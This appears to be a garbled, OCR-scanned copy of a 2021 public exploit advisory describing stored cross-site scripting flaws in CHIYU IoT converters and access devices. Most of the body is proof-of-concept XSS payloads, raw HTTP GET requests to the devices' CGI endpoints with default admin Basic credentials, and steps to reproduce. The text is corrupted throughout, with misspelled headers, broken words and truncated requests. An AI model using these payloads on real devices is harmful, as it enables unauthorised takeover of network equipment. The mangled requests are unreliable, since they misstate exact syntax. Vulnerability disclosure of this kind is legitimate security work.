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## **CHIYU IoT Cross Site Scripting**

Posted Jun 1, 2021

CHIYU IoT devices suffer from multiple cross site scripting vulnerabilities. Versions affected include BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC.

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Change Mirror Do	wnload
<u> </u>	wilload
Exploit Title: CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS)   Date: May 31 2021	
Exploit Author: sirpedrotavares Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html	
Software Link: https://www.chiyu-tech.com/category-hardware.html   Version: BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC - all fi	rmware
rezsions < June 2021 Tested on: BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC   CVE: CVE-2021-31250 / CVE-2021-31641 / CVE-2021-31643	
CVE: CVE-2021-31250 / CVE-2021-31641 / CVE-2021-31643   Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-a	ttacks
Description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scr	
laws.	
1: Multiple stored XSS in CHIYU BF-430, BF-431, and BF-450M IP converter devices	
======================================	
Affected parameter: TF_submask	
Component: if.cgi ayload: "> <script>alert(123)</script>	
HTTP Request:	
ET (if.cgi?	
redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscr HTTP/1.1	ipt%3Eal
lost: 192.168.187.12 Jser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101	
Firefox/68.0 kccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
<pre>cccept-Language: en-US,en;q=0.5 cccept-Encoding: gzip, deflate</pre>	
Referer: http://192.168.187.12/ap_tcps.htm Authorization: Basic OmFkbWlu	
Connection: close	
Jpgrade-Insecure-Requests: 1	
Steps to reproduce:	
1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (if.cgi)	
3. Append the payload at the end of the vulnerable parameter (TF_submask) 4. Submit the request and observe payload execution	
PoC 02	
Affected parameter: TF_hostname=Component: dhcpc.cgi Payload: /"> <img src="#"/>	
TTTP request and response:	
ITTP Request:	
'dhepe.egi?	
redirect=setting.htm&failure=fail.htm&type=dhcpc_apply&TF_hostname=%2F%22%3E%3Cimg+src%3D%22%23%22&S_ty HTTP/1.1	pe=2&S_t
lost: 192.168.187.12 Jser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101	
Firefox/68.0 kccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
Accept-Language: en-US,en;g=0.5 Accept-Encoding: gzip, deflate	
Referer: http://192.168.187.12/wan_dc.htm Nuthorization: Basic OmFkbWlu	
Connection: close	
pggrade-Insecure-Requests: 1	
Steps to reproduce:	
1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (dhcpc.cgi)	
<ol> <li>Append the payload at the end of the vulnerable parameter (TF_hostname)</li> <li>Submit the request and observe payload execution</li> </ol>	
PoC 03	
Mffected parameter: TF_servicename=Component: ppp.cgi Payload: "> <script>alert(123)</script>	
SET	
ppp.cgi? ppp.cgi? redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_servicename	-27723F2
TTTP/1.1 lost: 192.168.187.143	
Jser-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101	
Firefox/68.0 uccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
<pre>kccept-Language: en-US,en;q=0.5 kccept-Encoding: gzip, deflate</pre>	
Referer: http://192.168.187.143/wan_pe.htm Authorization: Basic CmFkbWlu	
Connection: close Jpgrade-Insecure-Requests: 1	
Steps to reproduce: 1. Navigate to the vulnerable device	
2. Make a GET request to component mentioned (ppp.cgi)	
3. Append the payload at the end of the vulnerable parameter  (IF_servicename)  4. Submit the request and observe payload execution	
ffected parameter: TF_port=Component: man.cgi	
ayload: /"> <img src="#"/>	
SET (man.cgi?	
redirect=setting.htm&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200 HTTP/1.1	&TF_ip3=
Uset: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101	
Pirefox/68.0	
<pre>wccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 wccept-Language: en-US,en;q=0.5</pre>	
Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/manage.htm	
Authorization: Basic OmFkbWlu Connection: close	
Dggrade-Insecure-Requests: 1	

Spoof (2,166) SUSE (1,444)

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